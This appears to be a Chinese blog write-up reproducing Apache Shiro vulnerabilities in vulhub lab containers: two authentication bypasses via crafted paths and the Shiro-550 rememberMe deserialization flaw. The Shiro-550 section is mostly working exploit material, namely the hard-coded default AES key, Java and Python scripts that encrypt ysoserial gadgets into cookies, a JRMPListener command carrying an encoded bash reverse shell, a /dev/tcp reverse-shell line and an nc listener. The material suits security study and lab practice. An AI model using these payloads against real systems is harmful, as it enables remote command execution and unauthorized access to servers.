超级详细:https://xz.aliyun.com/t/11633#toc-2 # 好文

什么是Shiro

Apache Shiro 是Java 的一个安全框架。Shiro 可以非常容易的开发出足够好的应用,其不仅可以用在JavaSE 环境,也可以用在JavaEE 环境。Shiro 可以帮助我们完成:认证、授权、加密、会话管理、与Web 集成、缓存等。

CVE-2010-3863:权限绕过

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

在Apache Shiro 1.1.0以前的版本中,shiro 进行权限验证前未对url 做标准化处理,攻击者可以构造////.//../ 等绕过权限验证

参考链接:

环境搭建

执行如下命令启动一个搭载Shiro 1.0.0的应用:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看首页。

漏洞复现

直接请求管理页面/admin,无法访问,将会被重定向到登录页面:

image-20240809142903369

构造恶意请求/./admin,即可绕过权限校验,访问到管理页面:

image-20240809142935850

CVE-2016-4437:反序列

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

原文链接:https://blog.csdn.net/Bossfrank/article/details/130173880

image-20240810215154346

如果出现rememberMe=deleteMe字段应该是仅仅能说明登录页面采用了shiro进行了身份验证而已,并非直接就说明存在漏洞。下面这篇博客写的也比较细,其漏洞验证流程也类似判断请求和响应包的字段,如下图:

img

https://blog.csdn.net/dreamthe/article/details/124390531

对于shiro550,其漏洞的核心成因是cookie中的身份信息进行了AES加解密,用于加解密的密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥。因此,验证漏洞的核心应该还是在于我们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥,那么shiro550漏洞才一定存在。
image-20240810220221463

说明漏洞存在

漏洞环境

执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:

docker compose up -d

服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录。

漏洞复现

使用ysoserial生成CommonsBeanutils1的Gadget:

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.se

使用Shiro内置的默认密钥对Payload进行加密:

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

这里不会配环境,就先用工具测试一下,去补一下环境搭建

image-20240811102311688

构造cookie获取反弹shell

这里就不用集成化高的工具,手工构造一下payload,准备好ysoserial-all.jar,和一个生成payload的python脚本shiro_exp_payload.py

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-jar.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

先准备好反弹shel命令,需要经过runtime编码

bash -i >& /dev/tcp/192.168.174.137/8888 0>&1

image-20240811225506692

启动jrm监听服务器,这里如果反弹不回来可以换一下CommonsCollections2等,2和4我试过不行,换成5行了,估计和版本有关

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMzcvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"

image-20240811232222778

使用python脚本,生成cookie

python shiro-550.py 192.168.174.137:1099

python脚本将生成cookie,你将cookie带入http请求中即可反弹shell,这里kali里的python环境没配好,就在外面执行了,然后记得在同目录下也放一个ysoserial-all.jar文件

rememberMe=2fgsL9wZRJeFr7EPG/Tr2VRSacRoV96OUGMU25o3RQfJt26P3KCgsuV6BX0gNhLCc9Bh18CkYykBOLUIY71CPNP0qBjp4lLe4zuGzbbQFJptLMP4+3FZb0LLa6hO68Gsa68qiXMRZrU+zA0N9uoLiIkc9dCGM404S642cvGIQO013plK3d6/D5wsA+A2P/arPjL30EjldFik9CBzM3qD/zY+N/YEcWaGvlsLuBJ+6qqE4Rlj5m6SEJANH6VlOV9gW/xdmNE7A6xbxBX4iyFTf6wyc7zbbMvWYL9w8hbBUTP382Vw1rDKXIfnGfpoBs98l7XbX0bpDx8JhUgPm5G5YA+mL2Q+DeqI6qzoMN1NnxhyF6Mi0w8PE6yZd+3jllwYW7vu6+ji5y7Bsozb7j8ycw==

image-20240811230606153

监听,抓包

nc -lvvp 8888

image-20240811232203463

image-20240811232147747

CVE-2020-1957:权限绕过

漏洞复现

环境直接就是vulhub的docker镜像

访问服务

image-20240813113853254

抓包

image-20240813125425589

可以看到直接访问admin目录是不允许的,会重定向到其它地方,我们需要想办法绕过

URL请求过程:

  • 客户端请求URL: /xxx/..;/admin/
  • Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
  • SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面。

image-20240813125603904